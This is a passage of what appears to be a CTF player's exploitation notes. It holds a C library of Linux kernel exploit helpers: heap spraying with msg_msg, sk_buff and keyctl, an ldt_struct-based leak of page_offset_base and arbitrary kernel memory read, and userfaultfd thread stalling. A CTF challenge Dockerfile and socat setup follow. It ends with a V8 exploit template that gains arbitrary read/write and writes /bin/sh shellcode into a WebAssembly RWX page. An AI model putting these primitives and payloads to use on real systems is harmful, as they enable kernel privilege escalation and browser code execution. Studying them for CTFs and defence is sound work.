    /* child process for pages spray */
    if (!fork()) {
        spray_cmd_handler();
    }
}

/**
 * IV - keyctl related
*/

/**
 * The MUSL also doesn't contain `keyctl.h` :( 
 * Luckily we just need a bit of micros in exploitation, 
 * so just define them directly is okay :)
 */

#define KEY_SPEC_PROCESS_KEYRING    -2    /* - key ID for process-specific keyring */
#define KEYCTL_UPDATE            2    /* update a key */
#define KEYCTL_REVOKE            3    /* revoke a key */
#define KEYCTL_UNLINK            9    /* unlink a key from a keyring */
#define KEYCTL_READ            11    /* read a key or keyring's contents */

int key_alloc(char *description, void *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen, 
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, void *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, void *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

/**
 * V - sk_buff spraying related
 * note that the sk_buff's tail is with a 320-bytes skb_shared_info
 */
#define SOCKET_NUM 8
#define SK_BUFF_NUM 128

/**
 * socket's definition should be like:
 * int sk_sockets[SOCKET_NUM][2];
 */

int init_socket_array(int sk_socket[SOCKET_NUM][2])
{
    /* socket pairs to spray sk_buff */
    for (int i = 0; i < SOCKET_NUM; i++) {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) {
            printf("[x] failed to create no.%d socket pair!\n", i);
            return -1;
        }
    }

    return 0;
}

int spray_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
    for (int i = 0; i < SOCKET_NUM; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            if (write(sk_socket[i][0], buf, size) < 0) {
                printf("[x] failed to spray %d sk_buff for %d socket!", j, i);
                return -1;
            }
        }
    }

    return 0;
}

int free_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
    for (int i = 0; i < SOCKET_NUM; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            if (read(sk_socket[i][1], buf, size) < 0) {
                puts("[x] failed to received sk_buff!");
                return -1;
            }
        }
    }

    return 0;
}

/**
 * VI - msg_msg related
*/

#ifndef MSG_COPY
#define MSG_COPY 040000
#endif

struct msg_msg {
    struct list_head m_list;
    uint64_t    m_type;
    uint64_t    m_ts;
    uint64_t    next;
    uint64_t    security;
};

struct msg_msgseg {
    uint64_t    next;
};

/*
struct msgbuf {
    long mtype;
    char mtext[0];
};
*/

int get_msg_queue(void)
{
    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

/**
 * the msgp should be a pointer to the `struct msgbuf`,
 * and the data should be stored in msgbuf.mtext
 */
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    ((struct msgbuf*)msgp)->mtype = msgtyp;
    return msgsnd(msqid, msgp, msgsz, 0);
}

/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz, msgtyp, 
                  MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void build_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev, 
              uint64_t m_type, uint64_t m_ts,  uint64_t next, uint64_t security)
{
    msg->m_list.next = m_list_next;
    msg->m_list.prev = m_list_prev;
    msg->m_type = m_type;
    msg->m_ts = m_ts;
    msg->next = next;
    msg->security = security;
}

/**
 * VII - ldt_struct related
*/

/**
 * Somethings we may want to compile the exp binary with MUSL-GCC, which
 * doesn't contain the `asm/ldt.h` file.
 * As the file is small, I copy that directly to here :)
 */

/* Maximum number of LDT entries supported. */
#define LDT_ENTRIES    8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE    8

#ifndef __ASSEMBLY__
/*
 * Note on 64bit base and limit is ignored and you cannot set DS/ES/CS
 * not to the default values if you still want to do syscalls. This
 * call is more for 32bit mode therefore.
 */
struct user_desc {
    unsigned int  entry_number;
    unsigned int  base_addr;
    unsigned int  limit;
    unsigned int  seg_32bit:1;
    unsigned int  contents:2;
    unsigned int  read_exec_only:1;
    unsigned int  limit_in_pages:1;
    unsigned int  seg_not_present:1;
    unsigned int  useable:1;
#ifdef __x86_64__
    /*
     * Because this bit is not present in 32-bit user code, user
     * programs can pass uninitialized values here.  Therefore, in
     * any context in which a user_desc comes from a 32-bit program,
     * the kernel must act as though lm == 0, regardless of the
     * actual value.
     */
    unsigned int  lm:1;
#endif
};

#define MODIFY_LDT_CONTENTS_DATA    0
#define MODIFY_LDT_CONTENTS_STACK    1
#define MODIFY_LDT_CONTENTS_CODE    2

#endif /* !__ASSEMBLY__ */

/* this should be referred to your kernel */
#define SECONDARY_STARTUP_64 0xffffffff81000060

/* desc initializer */
static inline void init_desc(struct user_desc *desc)
{
    /* init descriptor info */
    desc->base_addr = 0xff0000;
    desc->entry_number = 0x8000 / 8;
    desc->limit = 0;
    desc->seg_32bit = 0;
    desc->contents = 0;
    desc->limit_in_pages = 0;
    desc->lm = 0;
    desc->read_exec_only = 0;
    desc->seg_not_present = 0;
    desc->useable = 0;
}

/**
 * @brief burte-force hitting page_offset_base by modifying ldt_struct
 * 
 * @param ldt_cracker function to make the ldt_struct modifiable
 * @param cracker_args args of ldt_cracker
 * @param ldt_momdifier function to modify the ldt_struct->entries
 * @param momdifier_args args of ldt_momdifier
 * @param burte_size size of each burte-force hitting
 * @return size_t address of page_offset_base
 */
size_t ldt_guessing_direct_mapping_area(void *(*ldt_cracker)(void*),
                                        void *cracker_args,
                                        void *(*ldt_momdifier)(void*, size_t), 
                                        void *momdifier_args,
                                        uint64_t burte_size)
{
    struct user_desc desc;
    uint64_t page_offset_base = 0xffff888000000000;
    uint64_t temp;
    char *buf;
    int retval;

    /* init descriptor info */
    init_desc(&desc);

    /* make the ldt_struct modifiable */
    ldt_cracker(cracker_args);
    syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

    /* leak kernel direct mapping area by modify_ldt() */
    while(1) {
        ldt_momdifier(momdifier_args, page_offset_base);
        retval = syscall(SYS_modify_ldt, 0, &temp, 8);
        if (retval > 0) {
            break;
        }
        else if (retval == 0) {
            printf("[x] no mm->context.ldt!");
            page_offset_base = -1;
            break;
        }
        page_offset_base += burte_size;
    }

    return page_offset_base;
}

/**
 * @brief read the contents from a specific kernel memory.
 * Note that we should call ldtGuessingDirectMappingArea() firstly,
 * and the function should be used in that caller process
 * 
 * @param ldt_momdifier function to modify the ldt_struct->entries
 * @param momdifier_args args of ldt_momdifier
 * @param addr address of kernel memory to read
 * @param res_buf buf to be written the data from kernel memory
 */
void ldt_arbitrary_read(void *(*ldt_momdifier)(void*, size_t), 
                        void *momdifier_args, size_t addr, char *res_buf)
{
    static char buf[0x8000];
    struct user_desc desc;
    uint64_t temp;
    int pipe_fd[2];

    /* init descriptor info */
    init_desc(&desc);

    /* modify the ldt_struct->entries to addr */
    ldt_momdifier(momdifier_args, addr);

    /* read data by the child process */
    pipe(pipe_fd);
    if (!fork()) {
        /* child */
        syscall(SYS_modify_ldt, 0, buf, 0x8000);
        write(pipe_fd[1], buf, 0x8000);
        exit(0);
    } else {
        /* parent */
        wait(NULL);
        read(pipe_fd[0], res_buf, 0x8000);
    }

    close(pipe_fd[0]);
    close(pipe_fd[1]);
}

/**
 * @brief seek specific content in the memory.
 * Note that we should call ldtGuessingDirectMappingArea() firstly,
 * and the function should be used in that caller process
 * 
 * @param ldt_momdifier function to modify the ldt_struct->entries
 * @param momdifier_args args of ldt_momdifier
 * @param page_offset_base the page_offset_base we leakked before
 * @param mem_finder your own function to search on a 0x8000-bytes buf.
 *          It should be like `size_t func(void *args, char *buf)` and the `buf`
 *          is where we store the data from kernel in ldt_seeking_memory().
 *          The return val should be the offset of the `buf`, `-1` for failure
 * @param finder_args your own function's args
 * @return size_t kernel addr of content to find, -1 for failure
 */
size_t ldt_seeking_memory(void *(*ldt_momdifier)(void*, size_t), 
                        void *momdifier_args, uint64_t page_offset_base,
                        size_t (*mem_finder)(void*, char *), void *finder_args)
{
    static char buf[0x8000];
    size_t search_addr, result_addr = -1, offset;

    search_addr = page_offset_base;

    while (1) {
        ldt_arbitrary_read(ldt_momdifier, momdifier_args, search_addr, buf);

        offset = mem_finder(finder_args, buf);
        if (offset != -1) {
            result_addr = search_addr + offset;
            break;
        }

        search_addr += 0x8000;
    }

    return result_addr;
}

/**
 * VIII - userfaultfd related code
 */

/**
 * The MUSL also doesn't contain `userfaultfd.h` :( 
 * Luckily we just need a bit of micros in exploitation, 
 * so just define them directly is okay :)
 */

#define UFFD_API ((uint64_t)0xAA)
#define _UFFDIO_REGISTER        (0x00)
#define _UFFDIO_COPY            (0x03)
#define _UFFDIO_API            (0x3F)

/* userfaultfd ioctl ids */
#define UFFDIO 0xAA
#define UFFDIO_API        _IOWR(UFFDIO, _UFFDIO_API,    \
                      struct uffdio_api)
#define UFFDIO_REGISTER        _IOWR(UFFDIO, _UFFDIO_REGISTER, \
                      struct uffdio_register)
#define UFFDIO_COPY        _IOWR(UFFDIO, _UFFDIO_COPY,    \
                      struct uffdio_copy)

/* read() structure */
struct uffd_msg {
    uint8_t    event;

    uint8_t    reserved1;
    uint16_t    reserved2;
    uint32_t    reserved3;

    union {
        struct {
            uint64_t    flags;
            uint64_t    address;
            union {
                uint32_t ptid;
            } feat;
        } pagefault;

        struct {
            uint32_t    ufd;
        } fork;

        struct {
            uint64_t    from;
            uint64_t    to;
            uint64_t    len;
        } remap;

        struct {
            uint64_t    start;
            uint64_t    end;
        } remove;

        struct {
            /* unused reserved fields */
            uint64_t    reserved1;
            uint64_t    reserved2;
            uint64_t    reserved3;
        } reserved;
    } arg;
} __attribute__((packed));

#define UFFD_EVENT_PAGEFAULT    0x12

struct uffdio_api {
    uint64_t api;
    uint64_t features;
    uint64_t ioctls;
};

struct uffdio_range {
    uint64_t start;
    uint64_t len;
};

struct uffdio_register {
    struct uffdio_range range;
#define UFFDIO_REGISTER_MODE_MISSING    ((uint64_t)1<<0)
#define UFFDIO_REGISTER_MODE_WP        ((uint64_t)1<<1)
    uint64_t mode;
    uint64_t ioctls;
};


struct uffdio_copy {
    uint64_t dst;
    uint64_t src;
    uint64_t len;
#define UFFDIO_COPY_MODE_DONTWAKE        ((uint64_t)1<<0)
    uint64_t mode;
    int64_t copy;
};

//#include <linux/userfaultfd.h>

char temp_page_for_stuck[0x1000];

void register_userfaultfd(pthread_t *monitor_thread, void *addr,
                          unsigned long len, void *(*handler)(void*))
{
    long uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    /* Create and enable userfaultfd object */
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1) {
        err_exit("userfaultfd");
    }

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
        err_exit("ioctl-UFFDIO_API");
    }

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
        err_exit("ioctl-UFFDIO_REGISTER");
    }

    s = pthread_create(monitor_thread, NULL, handler, (void *) uffd);
    if (s != 0) {
        err_exit("pthread_create");
    }
}

void *uffd_handler_for_stucking_thread(void *args)
{
    struct uffd_msg msg;
    int fault_cnt = 0;
    long uffd;

    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) args;

    for (;;) {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        if (nready == -1) {
            err_exit("poll");
        }

        nread = read(uffd, &msg, sizeof(msg));

        /* just stuck there is okay... */
        sleep(100000000);

        if (nread == 0) {
            err_exit("EOF on userfaultfd!\n");
        }

        if (nread == -1) {
            err_exit("read");
        }

        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            err_exit("Unexpected event on userfaultfd\n");
        }

        uffdio_copy.src = (unsigned long long) temp_page_for_stuck;
        uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address &
                                                    ~(0x1000 - 1);
        uffdio_copy.len = 0x1000;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
            err_exit("ioctl-UFFDIO_COPY");
        }

        return NULL;
    }
}

void register_userfaultfd_for_thread_stucking(pthread_t *monitor_thread, 
                                          void *buf, unsigned long len)
{
    register_userfaultfd(monitor_thread, buf, len, 
                         uffd_handler_for_stucking_thread);
}


/**
 * IX - kernel structures 
 */

struct file;
struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;
struct ktermios;
struct termiox;
struct seq_operations;

struct seq_file {
    char *buf;
    size_t size;
    size_t from;
    size_t count;
    size_t pad_until;
    loff_t index;
    loff_t read_pos;
    uint64_t lock[4]; //struct mutex lock;
    const struct seq_operations *op;
    int poll_event;
    const struct file *file;
    void *private;
};

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    const struct file_operations *proc_fops;
};

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* read start from len to offset, write start from offset */
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buf_operations {
    /*
     * ->confirm() verifies that the data in the pipe buffer is there
     * and that the contents are good. If the pages in the pipe belong
     * to a file system, we may need to wait for IO completion in this
     * hook. Returns 0 for good, or a negative error value in case of
     * error.  If not present all pages are considered good.
     */
    int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

    /*
     * When the contents of this pipe buffer has been completely
     * consumed by a reader, ->release() is called.
     */
    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

    /*
     * Attempt to take ownership of the pipe buffer and its contents.
     * ->try_steal() returns %true for success, in which case the contents
     * of the pipe (the buf->page) is locked and now completely owned by the
     * caller. The page may then be transferred to a different mapping, the
     * most often used case is insertion into different file address space
     * cache.
     */
    int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

    /*
     * Get a reference to the pipe buffer.
     */
    int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

#endif

Spirit出题模板

docker save -o /tmp/1.tar ubuntu:24.04

patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./pwn
patchelf --replace-needed libc.so.6 ./libc.so.6 ./pwn




FROM debian:bookworm-slim

# Minimal runtime deps
RUN apt-get update \
    && apt-get install -y --no-install-recommends socat \
    && rm -rf /var/lib/apt/lists/*

RUN useradd -m ctf
WORKDIR /home/ctf/onlyfgets

COPY onlyfgets ld-linux-x86-64.so.2 libc.so.6 flag.txt run entrypoint.sh ./

RUN chown -R ctf:ctf /home/ctf/onlyfgets /home/ctf/onlyfgets/flag.txt

USER ctf
EXPOSE 8889

CMD ["/bin/bash", "/home/ctf/onlyfgets/entrypoint.sh"]

#!/bin/sh

echo "$FLAG" > /home/ctf/onlyfgets/flag.txt
chmod 440 /home/ctf/onlyfgets/flag.txt

socat TCP-LISTEN:8889,reuseaddr,fork EXEC:/home/ctf/onlyfgets/run,stderr

V8

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
  f64[0] = v;
  return u32;
}
function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}
function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    ?
}

function addressOf(obj_to_leak)
{
    ?
}

function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;

var fake_array = [
  array_map,
  itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();